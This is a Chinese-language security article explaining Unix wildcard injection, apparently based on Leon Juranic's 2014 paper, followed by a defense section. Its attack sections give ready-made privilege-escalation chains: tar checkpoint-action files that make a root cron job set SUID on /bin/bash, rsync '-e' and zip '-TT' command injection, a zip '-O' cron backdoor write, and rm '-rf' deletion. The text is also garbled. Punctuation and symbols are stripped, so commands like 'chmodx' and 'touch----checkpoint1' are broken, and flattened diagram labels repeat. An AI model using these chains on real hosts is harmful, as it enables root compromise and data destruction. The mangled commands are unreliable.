Unix 通配符注入攻击:从参数污染到命令执行

Unix 通配符注入攻击:从参数污染到命令执行 摘要Unix 通配符注入Wildcard Injection是一种被严重低估但长期有效的攻击技术。当系统命令使用*等通配符处理文件时攻击者可通过构造包含特殊字符尤其是以-开头的文件名将文件名伪装成命令参数注入到命令行中从而实现权限篡改、任意命令执行等高危操作。本文结合经典论文与实战场景系统分析tar、rsync、zip、chown、chmod等常见命令的通配符注入原理、利用手法及防御方案。1. 引言在现代安全攻防中ASLR 绕过、ROP 利用、0day 内核漏洞等高级技术往往占据主流视野。然而一些复古的 Unix 技巧却因其简单、隐蔽、普适性强而长期有效。通配符注入正是其中之一——它不需要复杂的内存布局操控只需利用 shell 对通配符的解析机制就能让看似无害的tar *变成提权后门。本文的核心问题是当文件名与命令参数共享同一个输入通道时如何打破二者的边界2. 通配符基础与风险模型2.1 Shell 通配符解析机制在 Unix shell 中通配符在命令执行前由 shell 先行展开通配符含义*匹配任意数量字符包括零个?匹配单个字符[ ]匹配括号内任一字符-在[ ]中表示字符范围关键风险点当目录中存在以-开头的文件名时*展开后会将其作为参数传递给目标命令而非普通文件名。2.2 通道混合攻击Channeling Attack通配符注入本质上是一种通道混合Channeling问题——将原本应属于文件名通道的数据注入到参数通道中。当管理员执行rm*shell 实际执行的等价命令为rmfile1.txt file2.txt-rf若目录中存在名为-rf的文件rm会将其解析为递归强制删除选项导致灾难性后果。命令执行阶段Shell 通配符展开阶段rm *解析目录文件列表file1.txt, file2.txt, -rfrm file1.txt file2.txt -rf-rf 被解析为选项而非文件名3. 权限篡改chown / chmod 文件引用劫持3.1 chown 所有者劫持chown的--referenceRFILE参数允许以参考文件的属主/属组为目标而非手动指定。攻击者构造如下文件# 创建参考文件属主为攻击者 leontouch.drf.php# 创建注入参数的文件名touch----reference.drf.php当 root 执行chown -R nobody:nobody *.php时展开后变为chown-Rnobody:nobody admin.php...--reference.drf.php由于--reference优先级高于位置参数所有.php文件的属主被篡改为leon实现文件所有权劫持。攻击者(leon)文件系统Shellroot攻击者(leon)文件系统Shellroot所有文件属主变为 leontouch .drf.phptouch --reference.drf.phpchown -R nobody:nobody *.php通配符展开读取文件列表admin.php, ..., --reference.drf.phpchown -R nobody:nobody admin.php ... --reference.drf.php按 .drf.php 的属主(leon)修改所有文件完成3.2 chmod 权限篡改同理chmod的--reference参数可被用于批量修改权限。攻击者将.drf.php设为777再注入--reference.drf.php即可将目标目录下所有文件权限改为777。更危险的是若配合-R文件名touch -- -R还可实现递归权限篡改。4. 命令执行tar / rsync / zip 参数注入4.1 tar 任意命令执行原理tar支持--checkpoint和--checkpoint-action参数允许在归档过程中达到检查点时执行指定动作--checkpointNUMBER# 每 NUMBER 条记录显示进度--checkpoint-actionACTION# 在检查点执行 ACTION攻击构造攻击者创建以下文件和脚本# 恶意脚本echo/usr/bin/idshell.shchmodx shell.sh# 注入参数的文件名touch----checkpoint1touch----checkpoint-actionexecsh shell.sh当 root 执行tar cf archive.tar *时展开后的命令为tarcf archive.tar admin.php...--checkpoint1--checkpoint-actionexecsh shell.shtar在归档第一个文件后即触发检查点执行sh shell.sh以 root 权限运行任意命令。是root 执行 tar cf archive.tar *Shell 展开通配符文件列表包含--checkpoint1--checkpoint-actionexecsh shell.shtar 解析参数遇到 --checkpoint1触发检查点执行 execsh shell.sh以 root 权限运行 /usr/bin/id输出 uid0(root)完整利用链# 攻击者视角cd/var/www/html/uploadsechochmod s /bin/bashshell.shchmodx shell.shtouch----checkpoint1touch----checkpoint-actionexecsh shell.sh# root 的 cron 任务触发# tar -czf /root/backups/web.tar.gz *# → /bin/bash 获得 SUID攻击者执行 /bin/bash -p 提权4.2 rsync 远程 Shell 注入原理rsync的-e或--rsh参数用于指定远程 shell 命令。当 rsync 通过通配符获取到-e参数时会将其后的内容作为远程 shell 执行。攻击构造# 创建恶意脚本echo/usr/bin/id shell_output.txtshell.cchmodx shell.c# 构造注入文件名利用 ${IFS} 绕过空格过滤touch---e sh shell.c当 root 执行rsync -t *.c backup:/srv/时展开为rsync-tadmin.c...-eshshell.c backup:/srv/rsync将shell.c作为-e指定的远程 shell 执行结果写入shell_output.txt。远程服务器攻击者文件rsyncroot远程服务器攻击者文件rsyncrootshell_output.txt 属主为 root证明以 root 执行创建 -e sh shell.crsync -t *.c backup:/srv/通配符展开 *.c解析到 -e sh shell.c将 shell.c 作为远程 shell 执行/usr/bin/id shell_output.txt4.3 zip 双向量攻击zip命令存在两类通配符注入风险命令执行与任意文件写入。4.3.1 命令执行-T / -TT 注入zip的-T参数用于测试压缩包完整性-TT或--unzip-command指定测试时使用的解压命令。攻击构造# 创建恶意脚本echochmod s /bin/basha.txtchmodx a.txt# 构造注入文件名touch--b.txt -T -TT sh a.txt当 root 执行zip -q /root/backups/latest.zip *时-T触发完整性测试-TT sh a.txt将a.txt作为解压命令执行实现提权。命令执行向量构造 -T -TT 文件名zip 执行完整性测试执行 sh a.txt提权4.3.2 任意文件写入-O 参数注入zip的-O--out参数可重定向输出路径。攻击者构造包含-O的文件名touch---O /etc/cron.d/backdoor当 root 执行zip backup.zip *时输出被重定向到/etc/cron.d/backdoor若配合精心构造的 zip 内容可实现 cron 后门植入。5. 攻击面总结与利用场景命令注入参数攻击效果利用条件rm-rf递归强制删除目录可写chown--reference文件属主劫持目录可写 root 执行chmod--reference/-R权限篡改目录可写 root 执行tar--checkpoint/--checkpoint-action任意命令执行目录可写 定时任务/脚本rsync-e远程 Shell 执行目录可写 含通配符的 rsynczip-T/-TT/-O命令执行 / 文件覆盖目录可写 含通配符的 zip典型利用场景Web 上传目录攻击者上传含恶意文件名的文件等待管理员执行备份脚本共享目录多用户可写的目录如/tmp、/var/www/uploadsCron 定时任务*/10 * * * * cd /backup tar czf backup.tar.gz *CI/CD 流水线构建脚本中使用通配符打包源码6. 防御方案6.1 根本修复避免通配符与文件名混合# ❌ 危险tarczf backup.tar.gz *# ✅ 安全使用 -- 终止参数解析tarczf backup.tar.gz -- *# ✅ 更安全显式指定文件或使用 findfind.-maxdepth1-typef-exectarczf backup.tar.gz{}6.2 各命令专项防御命令安全用法tartar czf backup.tar.gz -- *或tar czf backup.tar.gz .rsyncrsync -t -- *.c backup:/srv/zipzip backup.zip -- *chownchown -R nobody:nobody -- *.phpchmodchmod 000 -- *6.3 系统级加固# 1. 限制可写目录的执行权限chmod1777/tmp# sticky bit# 2. 使用 chroot 或容器隔离文件系统# 3. 审计脚本中的通配符使用grep-rn\*/etc/cron* /var/spool/cron/# 4. 设置 GLOBIGNORE 排除以 - 开头的文件bashexportGLOBIGNORE-*6.4 开发规范永远不要在脚本中使用裸通配符处理用户可控目录使用--明确分隔选项与文件名对文件名进行白名单校验拒绝以-开头的文件名优先使用find的-exec或管道配合xargs -07. 结论通配符注入是一种返璞归真的攻击技术它不需要复杂的漏洞利用链却能在特定场景下造成与内核漏洞同等级别的危害。其核心原因在于Unix 命令行接口将选项通道与文件名通道混为一谈而通配符展开恰好是打破这一边界的桥梁。对于红队而言通配符注入是权限提升和横向移动的隐蔽武器对于蓝队而言审计脚本中的通配符使用、加固可写目录权限、推广--最佳实践是降低此类风险的关键。正如原始论文作者 Leon Juranic 所言“这不是关于现代黑客技术而是关于 Unix shell 黑客——带我们 straight back to the 80’s。” 在容器化、DevOps 盛行的今天那些隐藏在tar *和rsync *.c中的古老陷阱依然值得每一位安全从业者警惕。参考文献Juranic, L. (2014). Back To The Future: Unix Wildcards Gone Wild. Exploit-DB, EDB-ID: 33930.